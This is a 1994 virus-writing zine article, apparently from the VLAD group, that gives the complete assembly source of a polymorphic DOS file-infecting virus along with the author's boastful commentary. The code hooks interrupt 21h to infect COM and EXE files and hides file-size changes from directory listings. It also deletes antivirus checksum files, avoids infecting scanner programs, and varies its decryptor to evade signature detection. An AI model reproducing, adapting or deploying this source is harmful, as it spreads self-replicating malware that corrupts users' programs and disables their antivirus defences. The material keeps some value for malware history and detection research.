home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.4_2 < prev    next >
Encoding:
Text File  |  1994-09-08  |  23.5 KB  |  972 lines

  1.  
  2.  
  3. ;               The VLAD virus!
  4. ;               +-------------+
  5.  
  6. ;                                               by Qark/VLAD!
  7.  
  8.  
  9. ;       OVL files... never again!  I give this piece of advice to anyone.
  10. ; By avoiding the infection of OVL's your virus may spread for long times
  11. ; without discovery.  Otherwise everything crashes... ok, not everything
  12. ; but some large application programs do and that certainly makes people
  13. ; suspicious.  Don't do it!
  14.   
  15. ;       WoW!  My first ever polymorphic virus!  Yay! We'll see how it does.
  16. ; My goal is to make it so that there is no longer a signature and you'll
  17. ; need an algorithm to find it... but some lines of code can't really be
  18. ; switched with others so I face a bit of a dilemma.  My code has stood up
  19. ; to all the tests I've done on it so far... so we'll see.
  20.  
  21. ;       According to my calculations there are a few million variations on
  22. ; this sucker. I have gotten it to the point that there are only seven bytes
  23. ; that remain the same.  Not too bad...
  24.  
  25. ;       This virus is completely optimised.  Every routine has been stripped 
  26. ; to the barest minimum.  (Unlike Daddy in my last release).  It even passed
  27. ; the 'TZ' test.  He only managed to strip five bytes off this sucker.
  28.  
  29. ; Features:  Doesn't infect EXE files that use internal overlays.
  30. ;            Doesn't get flagged under heuristics.
  31. ;            Deletes CRC checking files.
  32. ;            Findfirst/Findnext stealth.
  33. ;            Directory listing stealth.
  34. ;            Uses the DOS qualify function to fix-up the filename.
  35. ;               (This is a pretty good new feature... uppercase, full path
  36. ;                and it's smaller than a REP MOVSB!)
  37. ;            Int24h handler to stop write protect errors on floppys.
  38. ;            Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
  39. ;            Uses SFT's to bypass some DOS functions.
  40. ;            Infects readonly files without changing their attribute.
  41. ;            Slightly polymorphic (Seven stable bytes)
  42. ;            Doesn't infect COM files that are too big or small.
  43.  
  44. ;       Assemble using a86.
  45.  
  46.  
  47.  
  48.     org     0
  49.  
  50.     db      0beh                    ;Stands for MOV SI,xxxx
  51. delta   dw      100h                    ;We'll put the data offset in.
  52.  
  53.     db      0b0h                    ;Stands for MOV AL,xxxx
  54. encryptor       db      0               ;The encryption byte.
  55.  
  56. poly6:
  57.     add     si,offset enc_start     ;Point to the bit to encrypt.
  58.  
  59.  
  60.     call    encrypt                 ;Decrypt the file.
  61.  
  62. enc_start:                              ;Everything after this point
  63.                     ;has been encrypted.
  64.  
  65.     sub     si,offset enc_end       ;Restore SI.
  66.  
  67.     ;mov     word ptr [si+offset quit],20cdh
  68.     db      0c7h,44h
  69.     db      offset quit
  70.     dw      20cdh
  71. quit:                
  72.     mov     word ptr [si+offset quit],44c7h
  73.                     ;Install the TSR now.
  74.     push    bx
  75.     push    cx
  76.     push    ds
  77.     push    es
  78.     push    si
  79.  
  80.     mov     ax,0CAFEh               ;Eat here.
  81.     int     21h
  82.  
  83.     cmp     ax,0F00Dh               ;Is there any of this ?
  84.     je      bad_mem_exit            ;Yep!  Time for lunch! No viral
  85.                     ;activity today!
  86.  
  87.     mov     ax,es                   ;ES = PSP
  88.     dec     ax
  89.     mov     ds,ax                   ;DS=MCB segment
  90.  
  91.     cmp     byte ptr [0],'Z'        ;Z=last MCB
  92.     jne     bad_mem_exit
  93.     
  94.     sub     word ptr [3],160        ;160*16=2560 less memory
  95.     sub     word ptr [12h],160      ;[12h] = PSP:[2] = Top of memory
  96.     mov     ax,word ptr [12h]
  97. ;------------------------------
  98.     push    cs
  99.     pop     ds                      ;DS=CS
  100.  
  101.     xor     bx,bx                   ;ES=0
  102.     mov     es,bx
  103.  
  104.     mov     bx,word ptr es:[132]    ;get int21h
  105.  
  106.     mov     word ptr [si+offset i21],bx
  107.  
  108.     mov     bx,word ptr es:[134]    ;get int21h
  109.     mov     word ptr [si+offset i21 + 2],bx
  110.  
  111. ;------------------------------
  112.  
  113.     mov     es,ax                   ;Store our stuff in here...
  114.  
  115.     xor     di,di
  116.     mov     cx,offset length
  117.     rep     movsb                   ;Move the Virus to ES:DI
  118. ;------------------------------
  119.     
  120.     xor     bx,bx                   ;ES=0
  121.     mov     ds,bx
  122.  
  123.     mov     word ptr [132],offset infection
  124.     mov     word ptr [134],ax
  125.     
  126. bad_mem_exit:
  127.  
  128.     pop     si
  129.     pop     es
  130.     pop     ds
  131.     pop     cx
  132.     pop     bx
  133.  
  134.     cmp     byte ptr [si+offset com_exe],1
  135.     je      Exe_Exit
  136.  
  137.     mov     ax,word ptr [si+offset old3]
  138.     mov     word ptr [100h],ax
  139.     mov     al,byte ptr [si+offset old3+2]
  140.     mov     [102h],al
  141.     
  142.     mov     ax,100h
  143.     jmp     ax
  144.  
  145.  
  146. Exe_exit:
  147.  
  148.     mov     ax,es                           ;ES=PSP
  149.     add     ax,10h                          ;PSP+10H = start of actual
  150.                         ;exe file.
  151.     
  152.     add     word ptr [si+jump+2],ax         ;Fix jump for original CS.
  153.     
  154.     mov     sp,word ptr [si+offset orig_sp]
  155.     add     ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
  156.     mov     ss,ax
  157.  
  158.     push    es
  159.     pop     ds
  160.  
  161.     xor     si,si
  162.     xor     ax,ax
  163.  
  164.     db      0eah
  165.     jump    dd      0
  166.  
  167.  
  168.     db      '[VLAD virus]',0
  169.     db      'by VLAD!',0
  170.  
  171.  
  172. infection       proc    far
  173.     
  174.     push    ax                      ;Save AX
  175.  
  176.     xchg    ah,al                   ;Swap AH,AL
  177.  
  178.     cmp     al,4bh                  ;Cmp AL,xx is smaller than AH
  179.     je      test_file               ;Thanx TZ! :)
  180.     cmp     al,43h
  181.     je      test_file
  182.     cmp     al,56h
  183.     je      test_file
  184.     cmp     ax,006ch
  185.     je      test_file
  186.     cmp     al,3dh
  187.     je      test_file
  188.     
  189.     cmp     al,11h                  ;Do directory stealth.
  190.     je      dir_listing
  191.     cmp     al,12h
  192.     je      dir_listing
  193.  
  194.     cmp     al,4eh                  ;Find_first/Find_next stealth.
  195.     je      find_file
  196.     cmp     al,4fh
  197.     je      find_file
  198.     
  199.     pop ax
  200.  
  201.     cmp     ax,0CAFEh               ;Where I drink coffee!
  202.     jne     jump1_exit
  203.  
  204.     mov     ax,0F00Dh               ;What I eat while I'm there.
  205.  
  206.     iret
  207.  
  208. dir_listing:
  209.     jmp     dir_stealth
  210. find_file:
  211.     jmp     search_stealth
  212. jump1_exit:        
  213.     
  214.     jmp     jend        
  215.     
  216. test_file:
  217.  
  218.     push    bx
  219.     push    cx
  220.     push    dx
  221.     push    ds
  222.     push    es
  223.     push    si
  224.     push    di
  225.  
  226.     cmp     al,6ch
  227.     jne     no_fix_6c
  228.  
  229.     mov     dx,si
  230.  
  231. no_fix_6c:
  232.  
  233.     mov     si,dx                   ;DS:SI = Filename.
  234.  
  235.     push    cs
  236.     pop     es                      ;ES=CS
  237.  
  238.     mov     ah,60h                  ;Get qualified filename.
  239.     mov     di,offset length        ;DI=Buffer for filename.
  240.     call    int21h                  ;This converts it to uppercase too!
  241.  
  242.                     ;CS:LENGTH = Filename in uppercase
  243.                     ;with path and drive.  Much easier
  244.                     ;to handle now!
  245.  
  246.     push    cs
  247.     pop     ds                      ;DS=CS
  248.  
  249.     mov     si,di                   ;SI=DI=Offset of length.
  250.  
  251.     cld                             ;Clear direction flag.
  252.  
  253. find_ascii_z:
  254.  
  255.     lodsb
  256.     cmp     al,0
  257.     jne     find_ascii_z
  258.  
  259.     sub     si,4                    ;Points to the file extension. 'EXE'
  260.  
  261.     lodsw                           ;Mov AX,DS:[SI]
  262.  
  263.     cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
  264.     jne     test_com
  265.     
  266.     lodsb                           ;Mov AL,DS:[SI]
  267.  
  268.     cmp     al,'E'                  ;The last 'E' in 'EXE'
  269.     jne     jump2_exit
  270.  
  271.     jmp     do_file                 ;EXE-file
  272.  
  273. test_com:
  274.  
  275.     cmp     ax,'OC'                 ;The 'CO' out of 'COM'
  276.     jne     jump2_exit
  277.  
  278.     lodsb                           ;Mov AL,DS:[SI]
  279.  
  280.     cmp     al,'M'
  281.     je      do_file                 ;COM-file
  282.     
  283. jump2_exit:
  284.     jmp     far_pop_exit            ;Exit
  285.  
  286. Do_file:
  287.  
  288.     call    chk4scan
  289.     jc      jump2_Exit
  290.     
  291.     mov     ax,3d00h                ;Open file.
  292.     mov     dx,di                   ;DX=DI=Offset length.
  293.     call    int21h
  294.  
  295.     jc      jump2_exit
  296.  
  297.     mov     bx,ax                   ;File handle into BX.
  298.  
  299.     call    get_sft                 ;Our SFT.
  300.  
  301.                     ;Test for infection.
  302.     mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  303.     mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  304.     and     ax,1f1fh                ;Get rid of the shit we don't need.
  305.     cmp     al,ah                   ;Compare the seconds with minutes.
  306.     je      jump2_exit
  307.  
  308.     push    cs
  309.     pop     es                      ;ES=CS
  310.  
  311.     call    del_crc_files
  312.                     ;Read the File header in to test
  313.                     ;for EXE or COM.
  314.  
  315.     mov     ah,3fh                  ;Read from file.
  316.     mov     cx,1ch                  ;1C bytes.
  317.     call    int21h                  ;DX=Offset length from del_crc_files
  318.                     ;We don't need the filename anymore
  319.                     ;so use that space as a buffer.
  320.  
  321.     ;Save int24h and point to our controller.
  322.  
  323.     xor     ax,ax
  324.     mov     es,ax
  325.  
  326.     push    word ptr es:[24h*4]     ;Save it.
  327.     push    word ptr es:[24h*4+2]
  328.  
  329.     mov     word ptr es:[24h*4],offset int24h
  330.     mov     word ptr es:[24h*4+2],cs        ;Point it!
  331.  
  332.     push    cs
  333.     pop     es
  334.     
  335.     mov     si,dx                   ;SI=DX=Offset of length.
  336.  
  337.     mov     ax,word ptr [si]        ;=Start of COM or EXE.
  338.     add     al,ah                   ;Add possible MZ.
  339.     cmp     al,167                  ;Test for MZ.
  340.     je      exe_infect
  341.     jmp     com_infect
  342.  
  343. EXE_Infect:
  344.  
  345.     mov     byte ptr com_exe,1      ;Signal EXE file.
  346.  
  347.     cmp     word ptr [si+1ah],0     ;Test for overlays.
  348.     jne     exe_close_exit          ;Quick... run!!!
  349.  
  350.     push    si                      ;SI=Offset of header
  351.  
  352.     add     si,0eh                  ;SS:SP are here.
  353.     mov     di,offset orig_ss
  354.     movsw                           ;Move them!
  355.     movsw
  356.  
  357.     mov     di,offset jump          ;The CS:IP go in here.
  358.  
  359.     lodsw                           ;ADD SI,2 - AX destroyed.
  360.  
  361.     movsw
  362.     movsw                           ;Move them!
  363.     
  364.     pop     si
  365.  
  366.     call    get_sft                 ;ES:DI = SFT for file.
  367.  
  368.     mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  369.     mov     dx,word ptr es:[di+13h]
  370.     mov     cx,16                   ;Divide by paragraphs.
  371.     div     cx
  372.  
  373.     sub     ax,word ptr [si+8]      ;Subtract headersize.
  374.  
  375.     mov     word ptr delta,dx       ;Initial IP.
  376.  
  377.     mov     word ptr [si+14h],dx    ;IP in header.
  378.     mov     word ptr [si+16h],ax    ;CS in header.
  379.  
  380.     add     dx,offset stack_end     ;Fix SS:SP for file.
  381.  
  382.     mov     word ptr [si+0eh],ax    ;We'll make SS=CS
  383.     mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.
  384.  
  385.     
  386.     mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  387.     mov     dx,word ptr es:[di+13h]
  388.  
  389.     add     ax,offset length        ;Add the virus length on.
  390.     adc     dx,0                    ;32bit
  391.  
  392.     mov     cx,512                  ;Divide by pages.
  393.     div     cx
  394.  
  395.     and     dx,dx
  396.     jz      no_page_fix
  397.  
  398.     inc     ax                              ;One more for the partial
  399.                         ;page!
  400. no_page_fix:
  401.  
  402.     mov     word ptr [si+4],ax              ;Number of pages.
  403.     mov     word ptr [si+2],dx              ;Partial page.
  404.  
  405.     mov     word ptr es:[di+15h],0          ;Lseek to start of file.
  406.     
  407.     call    get_date                        ;Save the old time/date.
  408.  
  409.     mov     ah,40h                          ;Write header to file.
  410.     mov     dx,si                           ;Our header buffer.
  411.     mov     cx,1ch                          ;1CH bytes.
  412.     call    int21h
  413.  
  414.     jc      exe_close_exit
  415.  
  416.     mov     ax,4202h                        ;End of file.  Smaller than
  417.                         ;using SFT's.
  418.     xor     cx,cx                           ;Zero CX
  419.     cwd                                     ;Zero DX (If AX < 8000H then
  420.                         ;CWD moves zero into DX)
  421.     call    int21h
  422.  
  423.     call    enc_setup                       ;Thisll encrypt it and move
  424.                         ;it to the end of file.
  425.     
  426. exe_close_exit:
  427.  
  428.     jmp     com_close_exit
  429.  
  430. COM_Infect:
  431.  
  432.     mov     byte ptr com_exe,0      ;Flag COM infection.
  433.  
  434.     mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
  435.     mov     word ptr old3,ax
  436.     mov     al,[si+2]
  437.     mov     byte ptr old3+2,al
  438.  
  439.     call    get_sft                 ;SFT is at ES:DI
  440.  
  441.     mov     ax,es:[di+11h]          ;AX=File Size
  442.     
  443.     cmp     ax,64000
  444.     ja      com_close_exit          ;Too big.
  445.  
  446.     cmp     ax,1000
  447.     jb      com_close_exit          ;Too small.
  448.  
  449.     push    ax                      ;Save filesize.
  450.     
  451.     mov     newoff,ax               ;For the new jump.
  452.     sub     newoff,3                ;Fix the jump.
  453.  
  454.     mov     word ptr es:[di+15h],0  ;Lseek to start of file :)
  455.  
  456.     call    get_date                ;Save original file date.
  457.  
  458.     mov     ah,40h
  459.     mov     cx,3
  460.     mov     dx,offset new3          ;Write the virus jump to start of
  461.     call    int21h                  ;file.
  462.  
  463.     pop     ax                      ;Restore file size.
  464.     
  465.     jc      com_close_exit          ;If an error occurred... exit.
  466.  
  467.     mov     word ptr es:[di+15h],ax ;Lseek to end of file.
  468.  
  469.     add     ax,100h                 ;File size + 100h.
  470.     mov     word ptr delta,ax       ;The delta offset for COM files.
  471.  
  472.     call    enc_setup
  473.  
  474. com_close_exit:
  475.  
  476.     mov     ah,3eh
  477.     call    int21h
  478.  
  479.     ;restore int24h
  480.  
  481.     xor     ax,ax
  482.     mov     es,ax
  483.  
  484.     pop     word ptr es:[24h*4+2]
  485.     pop     word ptr es:[24h*4]
  486.  
  487.  
  488. far_pop_exit:
  489.  
  490.     pop     di
  491.     pop     si
  492.     pop     es
  493.     pop     ds
  494.     pop     dx
  495.     pop     cx
  496.     pop     bx
  497.  
  498.     pop     ax
  499.  
  500. jend:
  501.     db      0eah                    ;Opcode for jmpf
  502.     i21     dd      0
  503.  
  504.  
  505. ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  506. ;$$              PROCEDURES       AND          DATA                      $$
  507. ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  508.  
  509.  
  510. int21h  proc    near                    ;Our int 21h
  511.     pushf
  512.     call    dword ptr cs:[i21]
  513.     ret
  514. int21h  endp
  515.  
  516. int24h  proc    near
  517.     mov     al,3
  518.     iret
  519. int24h  endp
  520.  
  521. Search_Stealth:
  522.  
  523.     pop     ax              ;Restore AX.
  524.     
  525.     call    int21h
  526.     jc      end_search
  527.  
  528.     push    es
  529.     push    bx
  530.     push    si
  531.     
  532.     mov     ah,2fh
  533.     call    int21h
  534.  
  535.     mov     si,bx
  536.  
  537.     mov     bx,word ptr es:[si+16h]
  538.     and     bx,1f1fh
  539.     cmp     bl,bh
  540.     jne     search_pop                         ;Is our marker set ?
  541.  
  542.     sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
  543.     sbb     word ptr es:[si+1ch],0
  544.  
  545. search_pop:
  546.     pop     si
  547.     pop     bx
  548.     pop     es
  549.     clc
  550. end_search:
  551.     retf     2                      ;This is the same as an IRET
  552.                     ;except that the flags aren't popped
  553.                     ;off so our Carry Remains set.
  554.  
  555.  
  556.  
  557.  
  558. Dir_Stealth:
  559.  
  560.     ;This bit means that when you do a 'dir' there is no change in
  561.     ;file size.
  562.  
  563.     pop     ax
  564.  
  565.     call    int21h                          ;Call the interrupt
  566.     cmp     al,0                            ;straight off.
  567.     jne     end_of_dir
  568.  
  569.     push    es
  570.     push    ax                              ;Save em.
  571.     push    bx
  572.     push    si
  573.  
  574.     mov     ah,2fh                          ;Get DTA address.
  575.     call    int21h
  576.  
  577.     mov     si,bx
  578.     cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
  579.     jne     not_extended
  580.  
  581.     add     si,7                            ;Add the extra's.
  582.  
  583. not_extended:
  584.     
  585.     mov     bx,word ptr es:[si+17h]         ;Move time.
  586.     and     bx,1f1fh
  587.     cmp     bl,bh
  588.     jne     dir_pop                         ;Is our marker set ?
  589.     
  590.     sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
  591.     sbb     word ptr es:[si+1fh],0
  592.  
  593. dir_pop:
  594.  
  595.     pop     si
  596.     pop     bx
  597.     pop     ax
  598.     pop     es
  599.  
  600. end_of_dir:
  601.  
  602.     iret
  603.  
  604.  
  605. Get_Date        proc    near
  606. ;Saves the date into DATE and TIME.
  607.  
  608.     mov     ax,5700h                ;Get Date/Time.
  609.     call    int21h
  610.     mov     word ptr time,cx
  611.     mov     word ptr date,dx
  612.     
  613.     ret
  614. Get_Date        endp
  615.  
  616.     time    dw      0
  617.     date    dw      0
  618.  
  619. Set_marker      proc    near
  620. ;Sets the time back and changes the time into an infection marker.
  621.  
  622.     mov     cx,time
  623.     mov     al,ch
  624.     and     al,1fh
  625.     and     cl,0e0h
  626.     or      cl,al
  627.     mov     dx,date
  628.     mov     ax,5701h
  629.     call    int21h
  630.         
  631.     ret
  632.  
  633. Set_marker      endp
  634.  
  635. PolyMorphic     Proc    Near
  636. ;Moves random instructions into the code.
  637.  
  638.     in      ax,40h                  ;Random in AX
  639.     and     ax,6                    ;Between 0-3 * 2
  640.     mov     di,offset enc_loop      ;Put the xor in a random position.
  641.     add     di,ax                   
  642.     mov     word ptr [di],0430h     ;=XOR [SI],AL
  643.  
  644.     mov     dx,di                   ;Already done this position
  645.  
  646.     mov     di,offset poly1         ;Put the random instruction here.
  647.     
  648.     mov     cx,3                    ;3 random instructions.
  649.  
  650. poly_enc_loop:
  651.     
  652.     in      ax,40h                  ;Random number in AX.
  653.     and     ax,14                   ;Between 0-7.  Multiplied by 2.
  654.                     ;14 = 00001110b
  655.     mov     si,offset database1     ;SI points to start of database.
  656.     add     si,ax                   ;Add SI with AX the random offset.
  657.  
  658.     cmp     dx,di                   ;Is the XOR here ?
  659.     jne     poly_move               ;Nope its ok.
  660.  
  661.     inc     di                      ;Dont move where the XOR is!
  662.     inc     di
  663. poly_move:
  664.     movsw                           ;Move the instruction.
  665.     loop    poly_enc_loop
  666.     
  667. Poly_CX:
  668.     ;This time we are randomising the 'MOV CX,' in the encryption
  669.     ;routine with some POPs.
  670.  
  671.     in      ax,40h                  ;Random number in AX.
  672.     and     ax,3                    ;0-3
  673.     cmp     ax,3
  674.     je      poly_cx                 ;We only have 3 combinations to
  675.                     ;choose from so retry if the fourth
  676.                     ;option gets choosen.
  677.     
  678.     xchg    al,ah                   ;Swap em for AAD.
  679.     aad                             ;Multiply AH by 10(decimal).
  680.     shr     al,1                    ;Divide by 2.
  681.                     ;The overall effect of this is
  682.                     ;MUL AX,5  We need this because
  683.                     ;we have to move 5 bytes.
  684.     
  685.     mov     si,offset database2
  686.     add     si,ax                   
  687.     mov     di,offset poly5         ;Where to put the bytes.
  688.     movsw                           ;Move 5 bytes
  689.     movsw
  690.     movsb
  691.  
  692.     in      ax,40h                  ;Rand in AX.
  693.     and     ax,12                   ;0-3*4
  694.     mov     si,offset database3
  695.     add     si,ax
  696.     mov     di,offset poly6
  697.     movsw
  698.     movsw
  699.  
  700.     in      ax,40h
  701.     and     ax,2
  702.     mov     si,offset database4
  703.     add     si,ax
  704.     mov     di,offset poly7
  705.     movsw
  706.  
  707.     in      ax,40h
  708.     and     ax,2
  709.     mov     si,offset database5
  710.     add     si,ax
  711.     mov     di,offset poly8
  712.     movsw
  713.     
  714.     ret
  715.     
  716.     db      '[VIP v0.01]',0
  717.  
  718. PolyMorphic     EndP
  719.  
  720. database1       db      0f6h,0d0h               ;not al         2 bytes
  721.         db      0feh,0c0h               ;inc al         2 bytes
  722.         db      0f6h,0d8h               ;neg al         2 bytes
  723.         db      0feh,0c8h               ;dec al         2 bytes
  724.         db      0d0h,0c0h               ;rol al,1       2 bytes
  725.         db      04h,17h                 ;add al,17h     2 bytes
  726.         db      0d0h,0c8h               ;ror al,1       2 bytes
  727.         db      2ch,17h                 ;sub al,17h     2 bytes
  728.  
  729. database2:      ;Three variations on the one routine within encrypt.
  730.         mov     cx,offset enc_end - offset enc_start
  731.         push    cs
  732.         pop     ds
  733.         
  734.         push    cs
  735.         pop     ds
  736.         mov     cx,offset enc_end - offset enc_start
  737.  
  738.         push    cs
  739.         mov     cx,offset enc_end - offset enc_start
  740.         pop     ds
  741.  
  742. database3:      ;Four variations of the routine at the start of the virus.
  743.  
  744.     add     si,offset enc_start + 1
  745.     dec     si
  746.     
  747.     dec     si
  748.     add     si,offset enc_start +1
  749.     
  750.     add     si,offset enc_start -1
  751.     inc     si
  752.     
  753.     inc     si
  754.     add     si,offset enc_start -1
  755.  
  756. database4:                      ;This is for the INC SI in the encryption.
  757.     inc     si
  758.     cld
  759.     cld
  760.     inc     si
  761.  
  762. database5:                      ;This is for the RET in the encryption.
  763.     ret
  764.     db      0fh
  765.     cld
  766.     ret
  767.  
  768. Enc_Setup       proc    near
  769.  
  770.     push    cs
  771.     pop     es
  772.     
  773.     call    polymorphic             ;Our polymorphic routine.
  774.  
  775.     inc     byte ptr encryptor      ;Change the encryptor.
  776.     jnz     enc_not_zero            ;Test for zero.
  777.                     ;XOR by Zero is the same byte.
  778.     inc     byte ptr encryptor
  779.  
  780. enc_not_zero:
  781.  
  782.     xor     si,si
  783.     mov     di,offset length        ;Offset of our buffer.
  784.     mov     cx,offset length        ;Virus Length.
  785.     rep     movsb                   ;Move the virus up in memory for
  786.                     ;encryption.
  787.     mov     al,byte ptr encryptor
  788.     mov     si,offset length + offset enc_start
  789.  
  790.     call    encrypt                 ;Encrypt virus.
  791.  
  792.     mov     ah,40h                  ;Write virus to file
  793.     mov     dx,offset length        ;Buffer for encrypted virus.
  794.     mov     cx,offset length        ;Virus length.
  795.     call    int21h
  796.  
  797.     call    set_marker              ;Mark file as infected.
  798.  
  799.     ret
  800. Enc_Setup       endp
  801.  
  802. Get_SFT Proc    Near
  803. ;Entry:  BX=File Handle.
  804. ;Exit:   ES:DI=SFT.
  805.  
  806.     push    bx
  807.  
  808.     mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
  809.     int     2fh             ;at by ES:[DI] contains the number of the
  810.                 ;SFT for the file handle.
  811.  
  812.     xor     bx,bx
  813.     mov     bl,es:[di]      ;Get address of System File Table Entry.
  814.     mov     ax,1216h
  815.     int     2fh
  816.  
  817.     pop     bx
  818.  
  819.     ret
  820.  
  821. Get_SFT EndP
  822.  
  823. Del_CRC_Files   Proc    Near
  824. ;Deletes AV CRC checking files.  Much smaller than the previous version.
  825.     
  826.     std                             ;Scan backwards.
  827.  
  828. find_slash2:                            ;Find the backslash in the path.
  829.  
  830.     lodsb
  831.     cmp     al,'\'
  832.     jne     find_slash2
  833.  
  834.     cld                             ;Scan forwards.
  835.     
  836.     lodsw                           ;ADD SI,2 - AX is destroyed.
  837.  
  838.     push    si
  839.     pop     di                      ;DI=SI=Place to put filename.
  840.  
  841.     mov     si,offset crc_files
  842.  
  843. del_crc:
  844.  
  845.     push    di                      ;Save DI.
  846.  
  847. loadname:
  848.     movsb
  849.     cmp     byte ptr [di-1],0
  850.     jne     loadname
  851.     
  852.     mov     ah,41h
  853.     call    int21h                  ;Delete.
  854.  
  855.     pop     di
  856.  
  857.     cmp     si,offset chk4scan
  858.     jb      del_crc
  859.  
  860.     ret
  861.  
  862. Del_CRC_Files   EndP
  863.     
  864.  
  865.     ;Delete these...
  866. CRC_Files       db      'ANTI-VIR.DAT',0
  867.         db      'MSAV.CHK',0
  868.         db      'CHKLIST.CPS',0
  869.         db      'CHKLIST.MS',0
  870.  
  871. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  872.  
  873. Chk4Scan        Proc    Near
  874. ;This routine searches for SCAN, TB* and F-PR* and exits with the carry
  875. ;set if they are found.  All these files self-check themselves so will alert
  876. ;the user to the viruses presence.  DV.EXE is checked by DV.COM and won't
  877. ;execute.
  878. ;Assumes DI=offset length, SI=End of filename
  879.  
  880.     std                             ;Scan backwards.
  881.  
  882. find_slash:                             ;Find the backslash in the path.
  883.     lodsb
  884.     cmp     al,'\'
  885.     jne     find_slash
  886.     
  887.     cld                             ;Scan forwards.
  888.     
  889.     lodsw                           ;SI points to byte before slash
  890.                     ;so we add 2.  AX is killed.
  891.     lodsw
  892.     cmp     ax,'CS'                 ;The 'SC' from SCAN.
  893.     jne     tbcheck
  894.     lodsw
  895.     cmp     ax,'NA'                 ;The 'AN' from SCAN
  896.     jne     chkfail
  897.     stc                             ;Set carry.
  898.     ret
  899. tbcheck:
  900.     cmp     ax,'BT'                 ;The 'TB' from TBSAN.
  901.     jne     fcheck
  902.     stc                             ;Set carry.
  903.     ret
  904. fcheck:
  905.     cmp     ax,'-F'                 ;The 'F-' from F-PROT.
  906.     jne     dvcheck
  907.     lodsw
  908.     cmp     ax,'RP'                 ;The 'PR' from F-PROT.
  909.     jne     chkfail
  910.     stc                             ;Set carry
  911.     ret
  912. dvcheck:
  913.     cmp     ax,'VD'                 ;The 'DV' from DV.EXE.
  914.     jne     chkfail
  915.     lodsw
  916.     cmp     ax,'E.'                 ;The '.E' from DV.EXE.
  917.     jne     chkfail
  918.     stc
  919.     ret
  920. chkfail:
  921.     clc                             ;Clear the carry.
  922.     ret
  923.  
  924. Chk4Scan        EndP
  925.  
  926.     com_exe db      0                       ;1=EXE
  927.  
  928.     New3    db      0e9h                    ;The jump for the start of
  929.     Newoff  dw      0                       ;COM files.
  930.  
  931.     old3    db      0cdh,20h,90h            ;First 3 comfile bytes here.
  932.  
  933.     orig_ss dw      0
  934.     orig_sp dw      0
  935.  
  936. enc_end:
  937.  
  938.  
  939. encrypt proc    near            ;Encrypts the virus.
  940.     
  941.     ;SI = offset of bit to be encrypted
  942.     ;AL = encryptor
  943. poly5:        
  944.     mov     cx,offset enc_end - offset enc_start
  945.     push    cs
  946.     pop     ds
  947. enc_loop:
  948.  
  949. poly1:                                  ;The next four lines of code are
  950.     ror     al,1                    ;continuously swapped and moved with
  951. poly2:                                  ;other code.  Ever changing...
  952.     ror     al,1
  953. poly3:
  954.     ror     al,1
  955. poly4:
  956.     xor     byte ptr [si],al
  957. poly7:
  958.     nop
  959.     inc     si
  960.     loop    enc_loop
  961. poly8:
  962.     nop
  963.     ret
  964.  
  965. encrypt endp
  966.  
  967.  
  968. length  db      100 dup (0)
  969. stack_end:
  970.  
  971.  
  972.